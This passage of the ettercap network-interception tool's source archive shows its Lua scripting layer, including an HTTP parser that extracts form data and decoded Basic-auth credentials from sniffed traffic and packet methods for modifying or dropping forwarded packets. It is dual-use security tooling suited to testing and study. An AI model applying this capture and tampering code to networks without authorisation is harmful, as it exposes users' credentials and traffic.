PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include #include #include #include #include #include "lua.h" #include "lualib.h" #include "lauxlib.h" #include #include struct lua_hook_list { int hook_point; int func_ref; SLIST_ENTRY(lua_hook_list) next; }; SLIST_HEAD(, lua_hook_list) lua_hook_table; /* additional functions */ lua_State* _lua_state; int _lua_script_count = 0; char **_lua_scripts = NULL; int _lua_arg_count = 0; char **_lua_args = NULL; LUALIB_API int luaopen_ettercap_c(lua_State *L); int ec_lua_panic(lua_State * state); /*********************************************************/ EC_API_EXTERN int ec_lua_init() { int i = 0; DEBUG_MSG("EC_LUA: ec_lua_init started..."); if (_lua_script_count == 0) { // We've got no scripts to load, so there's no reason to start up. USER_MSG("Lua: no scripts were specified, not starting up!\n"); return 0; } // Initialize lua if ((_lua_state = luaL_newstate()) == NULL) { // Lua failed to initialize! LUA_FATAL_ERROR("EC_LUA: Failed to initialize LUA instance!"); } // Set up the 'panic' handler, which let's us control lua_atpanic(_lua_state, ec_lua_panic); /* load lua libraries */ luaL_openlibs(_lua_state); luaopen_ettercap_c(_lua_state); /* Now load the lua files */ int dofile_err_code = luaL_dofile(_lua_state, INSTALL_LUA_INIT); if (dofile_err_code == 0) { DEBUG_MSG("EC_LUA: initialized %s", INSTALL_LUA_INIT); } else { // We just error out of the whole process.. LUA_FATAL_ERROR("EC_LUA Failed to initialize %s. Error %d: %s\n", INSTALL_LUA_INIT, dofile_err_code, lua_tostring(_lua_state, -1)); } // Push an array of the list of scripts specified on the command line // we don't have args yet, but that should be next lua_getglobal(_lua_state,ETTERCAP_LUA_MODULE); lua_getfield(_lua_state, -1, "main"); lua_newtable(_lua_state); // lua_scripts for(i = 0; i < _lua_script_count; i++) { lua_pushstring(_lua_state,_lua_scripts[i]); lua_rawseti(_lua_state,-2, i+1); } lua_newtable(_lua_state); // lua_args for(i = 0; i < _lua_arg_count; i++) { lua_pushstring(_lua_state, _lua_args[i]); lua_rawseti(_lua_state,-2, i+1); } int err_code = lua_pcall(_lua_state,2,0,0); if (err_code != 0) { // Flush all messages so we can see where we are. ui_msg_flush(MSG_ALL); FATAL_ERROR("EC_LUA script load failed with error %d: \n\t%s\n", err_code, lua_tostring(_lua_state, -1)); } USER_MSG("Lua initialized!\n"); return 0; } EC_API_EXTERN int ec_lua_cli_add_script(char * script) { if (_lua_script_count == 0) SAFE_CALLOC(_lua_scripts,1,sizeof(char *)); else SAFE_REALLOC(_lua_scripts, (_lua_script_count + 1) * sizeof(char *)); _lua_scripts[_lua_script_count] = script; _lua_script_count = _lua_script_count + 1; return 0; } EC_API_EXTERN int ec_lua_cli_add_args(char * args) { if (_lua_arg_count == 0) SAFE_CALLOC(_lua_args, 1, sizeof(char *)); else SAFE_REALLOC(_lua_args, (_lua_arg_count + 1) * sizeof(char *)); _lua_args[_lua_arg_count] = args; _lua_arg_count = _lua_arg_count + 1; return 0; } EC_API_EXTERN int ec_lua_load_script(const char * name) { lua_getglobal(_lua_state,ETTERCAP_LUA_MODULE); lua_getfield(_lua_state, -1, "load_script"); lua_pushstring(_lua_state, name); lua_call(_lua_state,1,0); return 0; } EC_API_EXTERN int ec_lua_fini() { /* * called to terminate a plugin. * usually to kill threads created in the * init function or to remove hook added * previously. */ DEBUG_MSG("EC_LUA: cleanup started..."); /* cleanup Lua */ if (_lua_state != NULL) { lua_getglobal(_lua_state,ETTERCAP_LUA_MODULE); lua_getfield(_lua_state, -1, "cleanup"); int err_code = lua_pcall(_lua_state,0,0,0); if (err_code == 0) { // Close things down all nice-nice. lua_close(_lua_state); } else { // Let's make sure all the messages are flushed so we can see where // we are at. ui_msg_flush(MSG_ALL); // Dump our error and exit. We can't continue on becuase it is very // possible that we still have hooks dangling around out there, and // if we're only partially handling things then we could very well // get segfaults and such. FATAL_ERROR("EC_LUA: cleanup failed with error %d: %s\n", err_code, lua_tostring(_lua_state, -1)); } } else { DEBUG_MSG("EC_LUA: cleanup No cleanup needed! Lua wasn't even loaded."); } _lua_state = NULL; USER_MSG("Lua cleanup complete!\n"); return 0; } // Handles 'panic' errors in the event that lua freaks out at some point. // This just let's us handle things the "ettercap" way, if need be. int ec_lua_panic(lua_State * state) { const char *err_msg = lua_tostring(state, 1); LUA_FATAL_ERROR("EC_LUA: Unprotected error from LUA runtime: %s\n", err_msg); return 0; } void ec_lua_print_stack(FILE * io) { lua_Debug ar; int level = 0; while (lua_getstack(_lua_state, level++, &ar)) { lua_getinfo(_lua_state, "Snl", &ar); fprintf(io, "\t%s:", ar.short_src); if (ar.currentline > 0) fprintf(io, "%d:", ar.currentline); if (*ar.namewhat != '\0') { /* is there a name? */ fprintf(io, " in function " LUA_QS, ar.name); } else { if (*ar.what == 'm') /* main? */ fprintf(io, " in main chunk"); else if (*ar.what == 'C' || *ar.what == 't') fprintf(io, " ?"); /* C function or tail call */ else fprintf(io, " in function <%s:%d>", ar.short_src, ar.linedefined); } fprintf(io, "\n"); } fprintf(io, "Lua stack depth: %d\n", level - 1); } // Passes the hooked packet into Lua, along with its hook point. int ec_lua_dispatch_hooked_packet(int point, struct packet_object * po) { struct lua_hook_list *lua_hook_entry; int err_code; // Don't have to do anything if we don't have a state. if (_lua_state == NULL) return 0; SLIST_FOREACH(lua_hook_entry, &lua_hook_table, next) { if (point == lua_hook_entry->hook_point) { lua_rawgeti(_lua_state, LUA_REGISTRYINDEX, lua_hook_entry->func_ref); lua_pushlightuserdata(_lua_state, (void *) po); err_code = lua_pcall(_lua_state,1,0,0); if (err_code != 0) { LUA_FATAL_ERROR("EC_LUA ec_lua_dispatch_hooked_packet Failed. Error %d: %s\n", err_code, lua_tostring(_lua_state, -1)); } } } return 0; } /// Lua APIs // This is just a simple wrapper for USER_MSG. static int l_log(lua_State* state) { const char *str = lua_tostring(state, 1); USER_MSG("%s\n", str); return 0; } // This is called when a hook is added in lua-land. We'll use this in the // near future to make our dispatching to lua much more efficient. static int l_hook_add(lua_State* state) { int point, r; struct lua_hook_list *lua_hook_entry; point = lua_tointeger(state, 1); // Set the top of the stack to point to the function. lua_settop(state, 2); // Show a reference to the function into the registry. r = luaL_ref(state, LUA_REGISTRYINDEX); SAFE_CALLOC(lua_hook_entry, 1, sizeof(struct lua_hook_list)); lua_hook_entry->hook_point = point; lua_hook_entry->func_ref = r; SLIST_INSERT_HEAD(&lua_hook_table, lua_hook_entry, next); return 0; } static const struct luaL_Reg ec_lua_lib[] = { {"hook_add", l_hook_add}, {"log", l_log}, {NULL, NULL} }; LUALIB_API int luaopen_ettercap_c(lua_State *L) { luaL_register(L, ETTERCAP_C_API_LUA_MODULE, ec_lua_lib); return 1; } EC_API_EXTERN void ec_lua_print_info(FILE* debug_file) { fprintf (debug_file, "-> ${INSTALL_LUA_ROOT} %s\n", INSTALL_LUA_ROOT); fprintf (debug_file, "-> ${INSTALL_LUA_INIT} %s\n", INSTALL_LUA_INIT); fprintf (debug_file, "-> ${INSTALL_LUA_CORE} %s\n", INSTALL_LUA_CORE); fprintf (debug_file, "-> ${INSTALL_LUA_SCRIPTS} %s\n", INSTALL_LUA_SCRIPTS); } EC_API_EXTERN void ec_lua_print_version(FILE* debug_file) { fprintf(debug_file, "-> lua version %s\n", LUA_VERSION); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/lua/ec_lua_config.h.cmake0000644000175000017500000000041113505247364020545 0ustar koeppeakoeppea#ifndef EC_LUA_CONFIG_H #cmakedefine INSTALL_LUA_ROOT "@INSTALL_LUA_ROOT@" #cmakedefine INSTALL_LUA_INIT "@INSTALL_LUA_INIT@" #cmakedefine INSTALL_LUA_CORE "@INSTALL_LUA_CORE@" #cmakedefine INSTALL_LUA_SCRIPTS "@INSTALL_LUA_SCRIPTS@" #endif ettercap-0.8.3/src/lua/CMakeLists.txt0000644000175000017500000000133113505247364017302 0ustar koeppeakoeppea set(INSTALL_LUA_ROOT ${INSTALL_DATADIR}/ettercap/lua) set(INSTALL_LUA_INIT ${INSTALL_LUA_ROOT}/init.lua) set(INSTALL_LUA_CORE ${INSTALL_LUA_ROOT}/core) set(INSTALL_LUA_LIBS ${INSTALL_LUA_ROOT}/lib) set(INSTALL_LUA_THIRD_PARTY ${INSTALL_LUA_ROOT}/third-party) set(INSTALL_LUA_SCRIPTS ${INSTALL_LUA_ROOT}/scripts) configure_file(ec_lua_config.h.cmake ${CMAKE_CURRENT_BINARY_DIR}/include/ec_lua_config.h) # Take care of building our C-based stuff. include_directories(${CMAKE_CURRENT_BINARY_DIR}/include) include_directories(${LUAJIT_INCLUDE_DIR}) add_library(ec_lua ec_lua.c) set_target_properties(ec_lua PROPERTIES POSITION_INDEPENDENT_CODE ON) add_dependencies(ec_lua luajit) # Add our 'shared' code. add_subdirectory(share) ettercap-0.8.3/src/lua/share/0000755000175000017500000000000013505247364015646 5ustar koeppeakoeppeaettercap-0.8.3/src/lua/share/init.lua.in0000644000175000017500000000231113505247364017716 0ustar koeppeakoeppea-- -- Copyright (C) Ryan Linn and Mike Ryan -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 2 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program; if not, write to the Free Software -- Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. ETTERCAP_LUA_CORE_PATH = "@INSTALL_LUA_CORE@" ETTERCAP_LUA_LIB_PATH = "@INSTALL_LUA_LIBS@" ETTERCAP_LUA_SCRIPT_PATH = "@INSTALL_LUA_SCRIPTS@" ETTERCAP_LUA_THIRD_PARTY_PATH = "@INSTALL_LUA_THIRD_PARTY@" package.path = package.path .. ";" .. ETTERCAP_LUA_CORE_PATH .. "/?.lua" .. ";" .. ETTERCAP_LUA_LIB_PATH .. "/?.lua" .. ";" .. ETTERCAP_LUA_THIRD_PARTY_PATH .. "/?.lua" require("ettercap") ettercap-0.8.3/src/lua/share/core/0000755000175000017500000000000013505247364016576 5ustar koeppeakoeppeaettercap-0.8.3/src/lua/share/core/base64.lua0000644000175000017500000000476613505247364020402 0ustar koeppeakoeppea-- Base64-encoding -- Sourced from http://en.wikipedia.org/wiki/Base64 require('math') local __author__ = 'Daniel Lindsley' local __version__ = 'scm-1' local __license__ = 'BSD' local index_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' function to_binary(integer) local remaining = tonumber(integer) local bin_bits = '' for i = 7, 0, -1 do local current_power = math.pow(2, i) if remaining >= current_power then bin_bits = bin_bits .. '1' remaining = remaining - current_power else bin_bits = bin_bits .. '0' end end return bin_bits end function from_binary(bin_bits) return tonumber(bin_bits, 2) end function to_base64(to_encode) local bit_pattern = '' local encoded = '' local trailing = '' for i = 1, string.len(to_encode) do bit_pattern = bit_pattern .. to_binary(string.byte(string.sub(to_encode, i, i))) end -- Check the number of bytes. If it's not evenly divisible by three, -- zero-pad the ending & append on the correct number of ``=``s. if math.mod(string.len(bit_pattern), 3) == 2 then trailing = '==' bit_pattern = bit_pattern .. '0000000000000000' elseif math.mod(string.len(bit_pattern), 3) == 1 then trailing = '=' bit_pattern = bit_pattern .. '00000000' end for i = 1, string.len(bit_pattern), 6 do local byte = string.sub(bit_pattern, i, i+5) local offset = tonumber(from_binary(byte)) encoded = encoded .. string.sub(index_table, offset+1, offset+1) end return string.sub(encoded, 1, -1 - string.len(trailing)) .. trailing end function from_base64(to_decode) local padded = to_decode:gsub("%s", "") local unpadded = padded:gsub("=", "") local bit_pattern = '' local decoded = '' for i = 1, string.len(unpadded) do local char = string.sub(to_decode, i, i) local offset, _ = string.find(index_table, char) if offset == nil then error("Invalid character '" .. char .. "' found.") end bit_pattern = bit_pattern .. string.sub(to_binary(offset-1), 3) end for i = 1, string.len(bit_pattern), 8 do local byte = string.sub(bit_pattern, i, i+7) decoded = decoded .. string.char(from_binary(byte)) end local padding_length = padded:len()-unpadded:len() if (padding_length == 1 or padding_length == 2) then decoded = decoded:sub(1,-2) end return decoded end ettercap-0.8.3/src/lua/share/core/packet_meta.lua0000644000175000017500000000432213505247364021557 0ustar koeppeakoeppea--- Adds packet methods directly to packet_object ctype -- -- Copyright (C) Ryan Linn and Mike Ryan -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 2 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program; if not, write to the Free Software -- Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. ffi = require('ettercap_ffi') bit = require('bit') packet = require('packet') local po_mt = { __index = { has_data = function(po) return packet.has_data(po) end, is_tcp = function(po) return packet.is_tcp(po) end, is_udp = function(po) return packet.is_udp(po) end, l4_summary = function(po) return packet.l4_summary(po) end, read_data = function(po, length) return packet.read_data(po, length) end, set_data = function(po, data) return packet.set_data(po, data) end, src_ip = function(po) return packet.src_ip(po) end, dst_ip = function(po) return packet.dst_ip(po) end, src_port = function(po) return packet.src_port(po) end, dst_port = function(po) return packet.dst_port(po) end, set_flag = function(po, flag) return packet.set_flag(po, flag) end, set_dropped = function(po) return packet.set_dropped(po) end, set_modified = function(po) return packet.set_modified(po) end, is_dropped = function(po) return packet.is_dropped(po) end, is_forwardable = function(po) return packet.is_forwardable(po) end, is_forwarded = function(po) return packet.is_forwarded(po) end, is_from_ssl = function(po) return packet.is_from_ssl(po) end, is_modified = function(po) return packet.is_modified(po) end, is_ssl_start = function(po) return packet.is_ssl_start(po) end, } } ffi.metatype("struct packet_object", po_mt) return nil ettercap-0.8.3/src/lua/share/core/shortsession.lua0000644000175000017500000000613113505247364022045 0ustar koeppeakoeppea--- -- The purpose of this lib is to provide a simple way of defining the style of -- session tracking that would be employed by a given script. -- -- Copyright (C) Ryan Linn and Mike Ryan -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 2 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program; if not, write to the Free Software -- Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. local ffi = require("ettercap_ffi") local shortsession = {} -- We need the size of a pointer so that we know how to address things properly. local ptr_size = ffi.sizeof("void *") local ident_magic_ptr = ffi.typeof("struct ident_magic *") function magic_session(packet_object, magic_vals) -- Make sure that we've got a table. if (not type(magic_vals) == "table") then return nil end local session = packet_object.session while true do if session == nil then return nil end local ident = session.ident if ident then local ident_magic = ffi.cast(ident_magic_ptr, ident) local magic = tonumber(ident_magic.magic) -- If we have the magic value in our table, then we have are in the -- right spot! if magic_vals[magic] then break end end -- go to the next session in the chain... session = session.prev_session end -- If we've gotten here, then we've found a session. return(ffi.string(session, ptr_size)) end local ip_magic_vals = {[ffi.C.IP_MAGIC] = 1, [ffi.C.IP6_MAGIC] = 1} local tcp_magic_vals = {[ffi.C.TCP_MAGIC] = 1} -- Search down through the session structures for either an IP or IPv6 -- session object. If we find that, then use it. If we don't find the session -- structure, then return nil. -- -- @return string (on success) or nil (on failure) ip_session = function(prefix) return(function(packet_object) local sess_memory_addr = magic_session(packet_object, ip_magic_vals) if not sess_memory_addr then return nil end return(table.concat({prefix, sess_memory_addr}, "-")) end) end -- Search down through the session structures for either a TCP -- session object. If we find that, then use it. If we don't find the session -- structure, then return nil. -- -- @return string (on success) or nil (on failure) tcp_session = function(prefix) return(function(packet_object) local sess_memory_addr = magic_session(packet_object, tcp_magic_vals) if not sess_memory_addr then return nil end return(table.concat({prefix, sess_memory_addr}, "-")) end) end shortsession.ip_session = ip_session shortsession.tcp_session = tcp_session return shortsession ettercap-0.8.3/src/lua/share/core/ec_string.lua0000644000175000017500000000031013505247364021250 0ustar koeppeakoeppeastarts_with = function (str,val) if str == nil or val == nil then return 0 end local spos, endpos = string.find(str,val) if spos == nil then return 0 end return 1 end ettercap-0.8.3/src/lua/share/core/http.lua0000644000175000017500000001037113505247364020262 0ustar koeppeakoeppea--- -- Parser and functions for HTTP requests/respnoses -- -- Created by Ryan Linn and Mike Ryan -- Copyright (C) 2012 Trustwave Holdings, Inc. local packet = require("packet") local hook_points = require("hook_points") require("ec_string") require("base64") local ports = { 80, 443, 8080 } -- http object that we'll bind all public things to http = {} http.hook = hook_points.http -- parse_post -- Use: split POST data into k/v pieces and put in a table -- Args: POST body -- Out: table of k:v post vars local function parse_args(argstr) if not argstr or argstr == "" then return nil end local args = {} kv = split(argstr,'&') for i,val in ipairs(kv) do local start,finish,k,v = string.find(val, '^(.-)=(.*)') if k and v then args[k] = v end end return args end -- parse_headers -- Use: parses the headers into k:v format -- Args: headers raw string -- Out: table of k:v headers local function parse_headers(headers) if headers == nil then return nil end local h = {} for hline in string.gmatch(headers,"(.-)\r?\n") do local spos,epos,k,v = string.find(hline,"^(%S-): (.*)") if spos and spos > 0 then h[k] = v end end return h end http.get_prefix = function (port) if port == 80 then return "http://" elseif port == 443 then return "https://" elseif port == 8080 then return "proxy://" else return "unknown://" end end local function parse_auth(auth) if not auth or auth == "" then return nil end local start,finish,auth_type, auth_str = string.find(auth, '^(%S+) (.*)') if auth_type == "Basic" then return from_base64(auth_str) end return nil end -- parse_http -- Use: parses a http packet into components -- Args: raw packet -- Out: nil if not a request or response -- table with the following fields: -- - reqest or response set -- - for request -- - verb -- - url -- - httpver -- - post_data (TABLE IF a POST REQUEST) -- - get_data ( TABLE IF a GET REQUEST) -- - for post -- - status_code -- - status_msg -- - http_ver -- -- - headers -- - body http.parse_http = function (pkt) local http_body = packet.read_data(pkt) local p = {} if (http_body == nil) then return nil end local start,finish,header,body = string.find(http_body, '^(.-)\r?\n\r?\n(.*)') if (header == nil or body == nil or header == "") then return nil end if (starts_with(header,"^GET ") > 0 or starts_with(header,"^HEAD ") > 0 or starts_with(header,"^POST ") > 0 or starts_with(header,"^CONNECT ") > 0 ) then local spos,epos, verb, url, httpver = string.find(header,'^(%S+) (.-) HTTP/(%d.%d)') p.request= 1 p.verb = verb p.httpver = httpver p.headers = parse_headers(header) p.body = body if p.headers["Host"] then p.url = http.get_prefix(packet.dst_port(pkt)) .. p.headers["Host"] .. url else p.url = http.get_prefix(packet.dst_port(pkt)) .. packet.dst_ip(pkt) .. url end if p.verb == 'POST' then p.post_data = parse_args(body) end local spos,epos,baseurl,args = string.find(p.url,'^(.-)?(.*)') if baseurl and args then p.baseurl = baseurl p.get_data = parse_args(args) end if p.headers['Authorization'] then p.creds = parse_auth(p.headers['Authorization']) end elseif (starts_with(header,"^HTTP/%d.%d") > 0 ) then p.response = 1 local spos,epos,httpver, code, msg = string.find(header,'^HTTP/(%d.%d) (%d+) (.-)\r?\n') p.httpver = httpver p.status_code = tonumber(code) p.status_msg = msg p.headers = parse_headers(header) p.body = body else return nil end return p end http.session_id = function (p,msg) local session_id = nil if msg.request then session_id = string.format("%s%d%s%d",packet.src_ip(p),packet.src_port(p),packet.dst_ip(p),packet.dst_port(p)) elseif msg.response then session_id = string.format("%s%d%s%d",packet.dst_ip(p),packet.dst_port(p),packet.src_ip(p),packet.src_port(p)) end return session_id end return http ettercap-0.8.3/src/lua/share/core/ettercap_ffi.lua0000644000175000017500000001720613505247364021742 0ustar koeppeakoeppea--- -- This is our ettercap FFI interface. Nothing to see, here. -- -- Copyright (C) Ryan Linn and Mike Ryan -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 2 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program; if not, write to the Free Software -- Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. local ettercap_ffi = require("ffi") ettercap_ffi.cdef[[ typedef unsigned char u_int8_t; typedef unsigned char u_char; typedef unsigned short int u_int16_t; typedef unsigned int u_int32_t; typedef unsigned long int u_int64_t; typedef char int8_t; typedef short int int16_t; typedef int int32_t; typedef long int int64_t; typedef int8_t int8; typedef int16_t int16; typedef int32_t int32; typedef int64_t int64; typedef u_int8_t u_int8; typedef u_int16_t u_int16; typedef u_int32_t u_int32; typedef u_int64_t u_int64; // This is just a hack structure so we can see the first int on the ident // structures. struct ident_magic { u_int32 magic; }; struct ec_session { void *ident; size_t ident_len; void *data; size_t data_len; int flag; /* Used to trace headers for injection */ struct ec_session *prev_session; int (*match)(void *id_sess, void *id); void (*free)(void *data, size_t data_len); }; struct ip_addr { u_int16 addr_type; u_int16 addr_len; /* this must be aligned in memory */ u_int8 addr[16]; }; struct passive_info { char fingerprint[29]; char flags; }; struct dissector_info { char *user; char *pass; char *info; char *banner; char failed; }; struct timeval { long int tv_sec; long int tv_usec; }; struct packet_object { /* timestamp of the packet */ struct timeval ts; struct L2 { u_int8 proto; u_char * header; size_t len; u_int8 src[6]; u_int8 dst[6]; u_int8 flags; } L2; struct L3 { u_int16 proto; u_char * header; u_char * options; size_t len; size_t payload_len; size_t optlen; struct ip_addr src; struct ip_addr dst; u_int8 ttl; } L3; struct L4 { u_int8 proto; u_int8 flags; u_char * header; u_char * options; size_t len; size_t optlen; u_int16 src; u_int16 dst; u_int32 seq; u_int32 ack; } L4; struct data { u_char * data; size_t len; /* * buffer containing the data to be displayed. * some dissector decripts the traffic, but the packet must be forwarded as * is, so the decripted data must be placed in a different buffer. * this is that bufffer and it is malloced by tcp or udp dissector. */ size_t disp_len; u_char * disp_data; /* for modified packet this is the delta for the length */ int delta; size_t inject_len; /* len of the injection */ u_char *inject; /* the fuffer used for injection */ } DATA; size_t fwd_len; /* length of the packet to be forwarded */ u_char * fwd_packet; /* the pointer to the buffer to be forwarded */ size_t len; /* total length of the packet */ u_char * packet; /* the buffer containing the real packet */ /* Trace current session for injector chain */ struct ec_session *session; u_int16 flags; /* flags relative to the packet */ /* * here are stored the user and pass collected by dissectors * the "char *" are malloc(ed) by dissectors */ struct dissector_info DISSECTOR; /* the struct for passive identification */ struct passive_info PASSIVE; }; enum { HOOK_RECEIVED = 0, /* raw packet, the L* structures are not filled */ HOOK_DECODED = 1, /* all the packet after the protocol stack parsing */ HOOK_PRE_FORWARD = 2, /* right before the forward (if it has to be forwarded) */ HOOK_HANDLED = 3, /* top of the stack but before the decision of PO_INGORE */ HOOK_FILTER = 4, /* the content filtering point */ HOOK_DISPATCHER = 5, /* in the TOP HALF (the packet is a copy) */ HOOK_PACKET_BASE = 50, HOOK_PACKET_ETH, HOOK_PACKET_FDDI, HOOK_PACKET_TR, HOOK_PACKET_WIFI, HOOK_PACKET_ARP, HOOK_PACKET_ARP_RQ, HOOK_PACKET_ARP_RP, HOOK_PACKET_IP, HOOK_PACKET_IP6, HOOK_PACKET_UDP, HOOK_PACKET_TCP, HOOK_PACKET_ICMP, HOOK_PACKET_LCP, HOOK_PACKET_ECP, HOOK_PACKET_IPCP, HOOK_PACKET_PPP, HOOK_PACKET_GRE, HOOK_PACKET_VLAN, HOOK_PACKET_ICMP6, HOOK_PACKET_ICMP6_NSOL, HOOK_PACKET_ICMP6_NADV, HOOK_PACKET_ICMP6_RPLY, HOOK_PACKET_ICMP6_PARM, HOOK_PACKET_PPPOE, HOOK_PACKET_PPP_PAP, HOOK_PACKET_MPLS, HOOK_PACKET_ERF, HOOK_PACKET_ESP, /* high level protocol hooks */ HOOK_PROTO_BASE = 100, HOOK_PROTO_SMB, HOOK_PROTO_SMB_CHL, HOOK_PROTO_SMB_CMPLT, HOOK_PROTO_DHCP_REQUEST, HOOK_PROTO_DHCP_DISCOVER, HOOK_PROTO_DHCP_PROFILE, HOOK_PROTO_DNS, HOOK_PROTO_MDNS, HOOK_PROTO_NBNS, HOOK_PROTO_HTTP, }; enum { E_SUCCESS = 0, E_NOTFOUND = 1, E_NOMATCH = 2, E_NOTHANDLED = 3, E_INVALID = 4, E_NOADDRESS = 5, E_DUPLICATE = 6, E_TIMEOUT = 7, E_INITFAIL = 8, E_FOUND = 128, E_BRIDGE = 129, E_VERSION = 254, E_FATAL = 255, }; // These are magic constants that ettercap uses to identify the session // structures. static const u_int32 IP6_MAGIC = 0x0306e77e; static const u_int32 IP_MAGIC = 0x0300e77e; static const u_int32 TCP_MAGIC = 0x0400e77e; enum { MAX_ASCII_ADDR_LEN = 46 }; static const u_int16 PO_IGNORE = 1; /* this packet should not be processed (e.g. sniffing TARGETS didn't match it) */ static const u_int16 PO_DONT_DISSECT= 1<<1; /* this packet should not be processed by dissector (used during the arp scan) */ static const u_int16 PO_FORWARDABLE = 1<<2; /* the packet has our MAC address, by the IP is not ours */ static const u_int16 PO_FORWARDED = 1<<3; /* the packet was forwarded by us */ static const u_int16 PO_FROMIFACE = 1<<4; /* this packet comes from the primary interface */ static const u_int16 PO_FROMBRIDGE = 1<<5; /* this packet comes form the bridged interface */ static const u_int16 PO_MODIFIED = 1<<6; /* it needs checksum recalculation before forwarding */ static const u_int16 PO_DROPPED = 1<<7; /* the packet has to be dropped */ static const u_int16 PO_DUP = 1<<8; /* the packet is a duplicate we have to free the buffer on destroy */ static const u_int16 PO_FORGED = 1<<9; /* the packet is created by ourselves */ static const u_int16 PO_EOF = 1<<10; /* we are reading from a file and this is the last packet */ static const u_int16 PO_FROMSSL = 1<<11; /* the packet is coming from a ssl wrapper */ static const u_int16 PO_SSLSTART = 1<<12; /* ssl wrapper has to enter SSL state */ char *ip_addr_ntoa(struct ip_addr *sa, char *dst); uint16_t ntohs(uint16_t netshort); size_t tcp_create_ident(void **i, struct packet_object *po); int tcp_find_direction(void *ids, void *id); int session_get(struct ec_session **s, void *ident, size_t ident_len); ]] return ettercap_ffi ettercap-0.8.3/src/lua/share/core/ettercap_reg.lua0000644000175000017500000000367413505247364021757 0ustar koeppeakoeppea--- This provides a very simple registry -- -- Copyright (C) Ryan Linn and Mike Ryan -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 2 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program; if not, write to the Free Software -- Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. -- local ettercap_registry = {} --- Indicates if we have a namespace, or not. -- @return true or false, depending on if we have a workspace or not. workspace_exists = function(ns) return (not (ettercap_registry[ns] == nil)) end --- Creates a namespace if it does not already exist, and then returns it. -- @param ns -- @return A table create_namespace = function(ns) local ret = ettercap_registry[ns] if ret == nil then ret = {} ettercap_registry[ns] = ret end return ret end --- Retreives a namespace. Returns nil if the namespace doesn't exist. -- @param ns -- @return A table, or nil get_namespace = function(ns) -- Doesn't matter if it exists or not. It's either nil or not, so we just -- return. return ettercap_registry[ns] end --- Delete's a namespace, effectively. -- @param ns delete_namespace = function(ns) -- Fun fact, if you set a table entry to nil, it deletes the key as well. ettercap_registry[ns] = nil end local reg = {} reg.workspace_exists = workspace_exists reg.create_namespace = create_namespace reg.get_namespace = get_namespace reg.delete_namespace = delete_namespace return reg ettercap-0.8.3/src/lua/share/core/dumper.lua0000644000175000017500000001612313505247364020600 0ustar koeppeakoeppea--- -- DataDumper.lua -- Copyright (c) 2007 Olivetti-Engineering SA -- -- Permission is hereby granted, free of charge, to any person -- obtaining a copy of this software and associated documentation -- files (the "Software"), to deal in the Software without -- restriction, including without limitation the rights to use, -- copy, modify, merge, publish, distribute, sublicense, and/or sell -- copies of the Software, and to permit persons to whom the -- Software is furnished to do so, subject to the following -- conditions: -- -- The above copyright notice and this permission notice shall be -- included in all copies or substantial portions of the Software. -- -- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -- EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES -- OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -- NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT -- HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, -- WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -- FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR -- OTHER DEALINGS IN THE SOFTWARE. local dumplua_closure = [[ local closures = {} local function closure(t) closures[#closures+1] = t t[1] = assert(loadstring(t[1])) return t[1] end for _,t in pairs(closures) do for i = 2,#t do debug.setupvalue(t[1], i-1, t[i]) end end ]] local lua_reserved_keywords = { 'and', 'break', 'do', 'else', 'elseif', 'end', 'false', 'for', 'function', 'if', 'in', 'local', 'nil', 'not', 'or', 'repeat', 'return', 'then', 'true', 'until', 'while' } local function keys(t) local res = {} local oktypes = { stringstring = true, numbernumber = true } local function cmpfct(a,b) if oktypes[type(a)..type(b)] then return a < b else return type(a) < type(b) end end for 